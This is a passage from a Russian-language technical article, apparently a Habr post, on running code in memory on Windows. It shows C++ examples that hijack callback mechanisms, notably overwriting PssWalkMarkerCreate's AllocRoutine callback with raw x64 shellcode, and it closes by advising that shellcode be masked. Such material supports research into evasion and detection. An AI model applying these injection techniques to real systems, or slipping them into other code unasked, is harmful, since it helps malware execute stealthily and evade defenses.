dlg.bIncludeInstanceIndex = FALSE; dlg.bSingleCounterPerAdd = TRUE; dlg.bSingleCounterPerDialog = TRUE; dlg.bLocalCountersOnly = FALSE; dlg.bWildCardInstances = TRUE; dlg.bHideDetailBox = TRUE; dlg.bInitializePath = FALSE; dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD; dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1]; dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH; HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL); if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS) { printf("Chosen counter: %s\n", dlg.szReturnPathBuffer); } else { printf("No counter chosen\n"); } delete[] dlg.szReturnPathBuffer; } int main() { ShowCounterBrowser(); return 0; }
Или пусть это будет функция PssCaptureSnapshot(), которая позволяет создавать различные снапшоты процесса. После чего для получения информации о снапшоте можно пробежать по нему с помощью PssWalkMarkerCreate(), которому требуется первым параметром передать структуру PSS_ALLOCATOR, внутри которой и указываются коллбэки. Сами эти коллбэки нужны для кастомной реализации функций по выделению и освобождению памяти при работе системы со снепшотом, но ничего нам не помешает указать там наш шеллкод:
#include <Windows.h> #include <processsnapshot.h> #include <iostream> // Function To Rewrite VOID* CALLBACK AllocRoutine(void* Context, DWORD Size) { MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION); return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size)); } int main() { DWORD ProcessId = GetCurrentProcessId(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if (hProcess == NULL) { std::cerr << "Could not open the process." << std::endl; return 1; } HPSS SnapshotHandle = NULL; PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE; DWORD SnapshotFlags = 0; DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle); if (Result != ERROR_SUCCESS) { std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl; return 1; } PSS_ALLOCATOR Allocator; Allocator.AllocRoutine = AllocRoutine; Allocator.FreeRoutine = NULL; unsigned char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" "\x48\x83\xec\x20\x41\xff\xd6,\x00"; DWORD old; VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old); memcpy(AllocRoutine, shellcode, sizeof(shellcode)); HPSSWALK WalkMarkerHandle; Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle); if (Result != ERROR_SUCCESS) { std::cerr << "Could not create the walk marker. Error: " << Result << std::endl; return 1; } PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle); CloseHandle(hProcess); return 0; }
Как видим, полёт фантазии может быть любым, он не ограничен никем и ничем. Самое главное — не бояться экспериментировать и творить.
Заключение
Подытоживая, можно сделать вывод, что методы исполнения в памяти обычно сводятся либо к использованию особенностей языка программирования, функционал которого позволяет осуществлять операции без взаимодействия с диском, либо же к генерации шеллкода из исполняемой программы. С другой стороны, наличие шеллкода в явном виде — плохая практика, поэтому нужно маскировать его всеми доступными способами, но об этом поговорим в следующий раз.
ссылка на оригинал статьи https://habr.com/ru/articles/767078/
Добавить комментарий